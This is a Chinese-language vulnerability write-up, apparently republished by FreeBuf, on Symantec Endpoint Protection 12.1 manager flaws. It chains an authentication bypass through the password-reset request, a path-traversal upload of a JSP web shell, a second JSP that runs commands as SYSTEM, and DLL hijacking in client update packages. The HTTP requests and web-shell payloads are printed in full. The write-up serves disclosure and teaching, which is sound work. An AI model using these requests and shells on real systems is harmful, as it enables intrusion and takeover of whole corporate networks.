文中提及的部分技术可能带有一定攻击性,仅供安全学习和教学用途,禁止非法使用。
1.引言
Markus Wulftange在7月30日报告了赛门铁克端点保护Symantec Endpoint Protection (SEP) 12.1的数个高危漏洞。只有升级到12.1 RU6 MP1的版本不被影响。
简单介绍一下,SEP 是一个企业版的杀毒产品,分为管理端和客户端。管理端是提供web UI,允许管理员管理和察看客户端的状态和客户端的病毒感染事件等等。而客户端基本上就是一个普通的赛门铁克杀毒软件,但是接受管理端的管理并且定时上报自己的状态。值得一提的是,管理员还可以在管理端部署安装升级包,以便客户端通过管理端来进行升级。
这种架构的问题是,一旦攻击者拿下了管理端,得到了管理员的权限,那么他就可以重新部署安装升级包,把木马藏进安装包,推送至客户端执行,从而拿下整个企业网络。 本文重点介绍这几个漏洞和利用方法:攻击者最终可以在管理端和所有客户端得到 'NT Authority/SYSTEM' 的权限。
攻击以SEP管理端的登陆页面为突破口,因为登陆页面是暴露在最外层的接口。
当用户认证以后,setAdminCredential()把用户信息存在与当前session相关的AdminCredential对象中。而阅读源代码后发现,setAdminCredential()在两个地方被调用,一个在LoginHandler类里面,一个在ResetPasswordHandler类里面。奇怪的是,setAdminCredential()为什么会在ResetPasswordHandler类里面被调用呢?看起来很可疑,这个值得我们研究一下。从名称上看,ResetPasswordHandler类用来处理口令重置,其中handleRequest()方法的代码如下
/* */ public void handleRequest(RequestData requestData, ConsoleSession session, Document doc) /* */ { /* 72 */ this.requestData = requestData; /* 73 */ String userName = (String)requestData.get("UserID"); /* 74 */ String domainName = (String)requestData.get("Domain"); /* */ /* 76 */ NodeList list = doc.getElementsByTagName("Response"); /* 77 */ Element root = (Element)list.item(0); /* */ try /* */ { /* 80 */ if (!isValidRequestWithinGivenInterval(requestData.getRemoteIP())) { /* 81 */ throw new ServerException(-2130182144, 186); /* */ } /* */ /* 84 */ checkIfSiteCanRecoverPasswords(); /* 85 */ init(); /* */ /* 87 */ if ((this.sRecipient == null) || (this.sRecipient.length() == 0) || (" ".equals(this.sRecipient))) { /* 88 */ ServerLogger.log(Level.INFO, "Problem with Mail server Configuration"); /* 89 */ throw new ServerException(-2130182144, 179); /* */ } /* */ /* 92 */ AdminCredential credential = getCredential(requestData, session); /* */ /* 94 */ if ((credential != null) && (credential.getAdminID() != null)) { /* 95 */ Integer mode = credential.getOptAuthenticationMethod(); /* 96 */ if ((mode != null) && (SemAdministrator.DEFAULT.intValue() != mode.intValue())) { /* 97 */ ServerLogger.log(Level.INFO, "Particular admin named " + credential.getAdminName() + " is not at Symantec authentication mode. Failed to reset password."); /* */ /* 100 */ throw new ServerException(-2130182144, 191); /* */ } /* */ /* */ } /* */ /* 106-137 skipped */ /* */ /* */ } /* */ catch (ServerException e) { /* 142 */ root.setAttribute("ResponseCode", "" + (e.getErrorCode() | e.getMessageId())); /* */ } /* */ }
92行调用了getCredential()方法,用以取出AdminCredential对象。AdminCredential对象包含用户的信息,比如用户名,邮箱地址,口令hash值等等。以下是getCredential()的代码
/* */ protected AdminCredential getCredential(RequestData requestData, ConsoleSession session) throws ServerException /* */ { /* 367 */ session = session.getNewSession(); /* 368 */ AdminCredential credential = doGetAdminCredentialWithoutAuthentication(); /* 369 */ session.setAdminCredential(credential); /* 370 */ return credential; /* */ }
367行创建了一个新的session,也就产生了一个新的JsessionID cookie。 有意思的是第368行,用doGetAdminCredentialWithoutAuthentication()无需任何认证就根据用户输入的用户名和域名得到了一个AdminCredential对象。
最后,在369行,这个AdminCredential对象和新创建的session关联起来。使得该session成为了一个拥有SEP管理员权限的session.也就是说,发出一个口令重设请求,你就得到了一个拥有SEP管理员权限的session.
发一个POST请求验证一下
POST /servlet/ConsoleServlet HTTP/1.1 Host: 192.168.40.133:8443 Content-Type: application/x-www-form-urlencoded Content-Length: 45 ActionType=ResetPassword&UserID=admin&Domain=
得到
HTTP/1.1 200 OK Set-Cookie: JSESSIONID=625B492F4B9B6DA96B5E0C70A8A72F40; Path=/; Secure; HttpOnly X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Content-Type: text/xml;charset=UTF-8 Date: Tue, 30 Jun 2015 11:19:30 GMT Server: SEPM Content-Length: 971 <?xml version="1.0" encoding="UTF-8" standalone="no"?> <Response ResponseCode="-2130181964"> <ReportingElement><?xml version="1.0" encoding="UTF-8" standalone="no"?> <ReportingInfo AdminType="0" AllowCollectFileFingerprintList="1" AllowDeleteFromQuarantine="1" AllowDisableDownloadAdvisor="1" AllowDisableNetworkThreatProtect="1" AllowEnableAutoProtect="1" AllowEnableDownloadAdvisor="1" AllowEnableNetworkThreatProtect="1" AllowPowerEraserScan="1" AllowRestartComputers="1" AllowScan="1" AllowUpdateContent="1" AllowUpdateContentScan="1" AllowedDomains="" ChangePwd="0" ComplianceOnly="0" ComputerIPs="" ComputerNames="" DateFormat="M/d/yy" DisallowedCentralizedExceptions="0" FullAccessGroupList="" GroupWhiteList="" IsStoredProcedureValid="0" KICKOUTTIME="3600000" LastLoginTime="1435663154502" LegacyDomains="" LegacyGroups="" Role="1" Servers="" Session="625B492F4B9B6DA96B5E0C70A8A72F40"/> </ReportingElement> </Response>
这个HTTP响应包含了一个JSESSIONID cookie,用于关联新创建的管理员session。 注意,虽然有管理员权限,但是由于某些限制,这个session还是无法用于直接登陆管理端。 然而测试发现攻击者可以用这个session使用其他web API,比如,创建一个新的管理员账号。从而攻击者可以用这个新创建的账号登陆管理端。而且这个session还可以继续用于下一个漏洞。
UploadPackage允许管理员把客户端的安装包上传到管理端,以便客户端升级维护。 然而这里有一个任意文件写入的漏洞,看源代码
/* */ public void handleRequest(RequestData requestData, ConsoleSession session, Document doc) /* */ { /* 54 */ NodeList list = doc.getElementsByTagName("Response"); /* 55 */ Element root = (Element)list.item(0); /* 56 */ String action = (String)requestData.get("Action"); /* 57 */ String id = (String)requestData.get("GUID"); /* 58 */ String fileType = (String)requestData.get("FILE_TYPE"); /* 59 */ String newId = (String)requestData.get("NEW_GUID"); /* */ /* 60-187 skipped */ /* */ /* 189 */ if (action.equalsIgnoreCase("UploadPackage")) { /* 190 */ String fileName = (String)requestData.get("PackageFile"); /* 191 */ String dirName = (String)requestData.get("KnownHosts"); /* */ /* 193 */ this.packageTempPath = (ScmProperties.getServerHome() + ConstantValue.TEMP_PACKAGE_RELATIVE_PATH); /* */ /* */ /* 196 */ if ((dirName != null) && (dirName.length() > 0) && (!dirName.contains("/")) && (!dirName.contains("//"))) { /* 197 */ this.packageTempPath = (this.packageTempPath + File.separator + dirName); /* */ } /* 199 */ String path = this.packageTempPath + File.separator + fileName; /* 200 */ FileOutputStream fos = null; /* 201 */ BufferedOutputStream bos = null; /* 202 */ Object is = null; /* 203 */ BufferedInputStream bis = null; /* */ /* 205 */ File folder = new File(this.packageTempPath); /* 206 */ if (!folder.exists()) { /* 207 */ if (!folder.mkdirs()) { /* 208 */ root.setAttribute("ResponseCode", String.valueOf(303169573)); /* */ } /* */ } /* */ else { /* */ try /* */ { /* 214 */ Utility.emptyDir(folder.getCanonicalPath(), false); /* */ } catch (IOException e) { /* 216 */ ServerLogger.log(this, e); /* 217 */ root.setAttribute("ResponseCode", String.valueOf(303169573)); /* */ /* 219 */ return; /* */ } /* */ } /* */ /* 223 */ byte[] buf = new byte[1024]; /* 224 */ int read = 0; /* */ try /* */ { /* 227 */ is = new BufferedInputStream(requestData.getInputStream()); /* 228 */ fos = new FileOutputStream(path); /* 229 */ bos = new BufferedOutputStream(fos); /* 230 */ bis = new BufferedInputStream((InputStream)is); /* 231 */ while ((read = bis.read(buf)) > 0) { /* 232 */ bos.write(buf, 0, read); /* */ } /* 234 */ bos.flush(); /* 235 */ root.setAttribute("ResponseCode", String.valueOf(0)); /* */ } catch (IOException ex) { /* 237 */ ServerLogger.log(this, ex); /* 238 */ root.setAttribute("ResponseCode", String.valueOf(303169573)); /* */ } /* */ finally /* */ { /* 242 */ IOUtilities.closeInputStream((InputStream)is); /* 243 */ IOUtilities.closeInputStream(bis); /* 244 */ IOUtilities.closeOutputStream(fos); /* 245 */ IOUtilities.closeOutputStream(bos); /* */ } /* */ /* 247-328 skipped */ /* */ /* */ } /* */ }
注意189行到191行,上传文件时,文件名和文件目标路径分别取值于PackageFile和KnownHosts属性。
196行,这里有个检查,目标路径禁止包含'/' and ’//’,可惜的是,检查过以后,199行又把文件名和目标路径组装在了一起。那么,如果我们把目标路径写在文件名里面,就可以绕过检查。
POST /servlet/ConsoleServlet?ActionType=BinaryFile&Action=UploadPackage&PackageFile=../../../tomcat/webapps/ROOT/exec.jsp&KnownHosts=. HTTP/1.1 Host: 192.168.40.133:8443 Cookie: JSESSIONID=625B492F4B9B6DA96B5E0C70A8A72F40 Content-Length: 124 <%=new java.util.Scanner(Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream()).useDelimiter("//A").next()%>
这样,我们就可以得到一个 'NT Service/semsrv'的权限的cmd.
在SEP管理端, 有一个名为SemLaunchSvc.exe的服务。该服务有'NT Authority/SYSTEM'权限,用来处理一些需要高权限的操作,比如实时升级等。这个服务监听本地8447端口与管理端程序通信。而管理端用一个名为SemLaunchService的类来实现和SemLaunchSvc.exe通信。该类支持CommonCMD,可以打开一个cmd。
既然我们已经可以上传并执行任意java代码,那么我们可以进一步调用SemLaunchService中的CommonCMD, 从而得到管理端主机的 'NT Authority/SYSTEM' 权限。
<%@page import="java.io.*,java.util.*,com.sygate.scm.server.util.*"%> <% try { out.print(SemLaunchService.getInstance().execute("CommonCMD", Arrays.asList("/c", request.getParameter("cmd")))); } catch (Exception e) { } %>
一旦有了管理端的权限,攻击者就可以在管理端添加一个修改过的客户端升级安装包,然后通过管理端把伪装的安装包推送到客户端上并执行。当然这里还要用到一个DLL劫持漏洞。这个漏洞劫持或者替换正常的DLL,欺骗正常程序加载攻击者预先准备好的恶意DLL。
安装升级SEP客户端的时候,SEP客户端ccSvcHst.exe首先会打开安装包,在里面找到一个名为smcinst.exe的程序,并且启动之,而smcinst.exe会调用一些系统DLL, 比如说UxTheme.dll。这里很可能smcinst.exe使用了相对路径来调入DLL, 并且没有检查DLL的签名。这样攻击者只要在安装包里加入一个伪造的UxTheme.dll就可以啦!由于LoadLibrary的特性,同在安装包下的这个伪造的UxTheme.dll会优先被调入。而一旦被调入,这个伪造的UxTheme.dll可以拥有NT Authority/SYSTEM权限。
那怎么把伪造的dll文件加到安装包里面,并推送到客户端呢?
1. 在SEP管理端导出安装包 2. 修改该安装包的版本为更高版本,比如12.2.0000,把准备好的恶意UxTheme.dll文件拷入安装包 3. 在SEP管理端导入安装包并修改升级选项。 4. 总结
管理端的保护是众中之重,一旦管理端被突破,客户端则难保,从而整个企业网络沦陷。
* 原文地址: codewhitesec , FreeBuf特约作者/ nickchang 投稿,转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)